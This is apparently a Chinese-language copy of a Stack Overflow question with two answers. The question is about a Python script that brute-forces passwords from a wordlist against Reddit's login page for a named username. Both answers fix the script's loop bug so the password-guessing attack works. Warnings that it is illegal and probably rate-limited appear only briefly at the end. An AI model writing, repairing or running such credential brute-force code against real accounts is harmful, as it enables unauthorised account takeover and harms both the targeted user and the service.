带有请求的蛮力攻击-代码不断尝试输入相同的密码

时间:2019-04-04 12:47:48

标签: python python-3.x while-loop python-requests

我有这段代码,当我运行它时,它只是一遍又一遍地重复相同的密码!

import requests

url = 'https://www.reddit.com/login/'
arq = open('C:/Users/Amel/Desktop/Python/BruteForce/wordlist.txt')
for line in arq:
    password = line.strip()
    http = requests.put(url, 
    data={'loginUsername' : 'skoolees', 'loginPassword' : password, 
    'AnimatedForm__submitButton' : 'submit'})
    content = http.content
    while url == 'https://www.reddit.com/login/':
        print('Password incorrect : ', password)
    while url == 'https://www.reddit.com':
        print('Password correct : ', password)
        break

2 个答案:

答案 0 :(得分:2)

Amel,您应该使用if elif而不是while

while url == 'https://www.reddit.com/login/'绝不会被评估为假,因为您不会更改url的值。

此外,您要检查输出,而不是未更改的变量url

试试看

if http.url == 'https://www.reddit.com/login/':
    print('Password incorrect : ', password)
elif http.url == 'https://www.reddit.com':
    print('Password correct : ', password)
    break

请注意,这是非法的,并且是Reddit行为准则所禁止的。

答案 1 :(得分:0)

while循环的目的是什么?您是否尝试过将它们更改为if

此外,您可能要检查响应的URL(在您的情况下为http.url),而不是变量url

...
http = requests.put(...
...

if http.url == 'https://www.reddit.com/login/':
    print('Password incorrect : ', password)
else:
    print('Password correct : ', password)

注意:可能不允许强行使用reddit,并且它们很可能具有限速机制,在尝试几次后就会阻止您。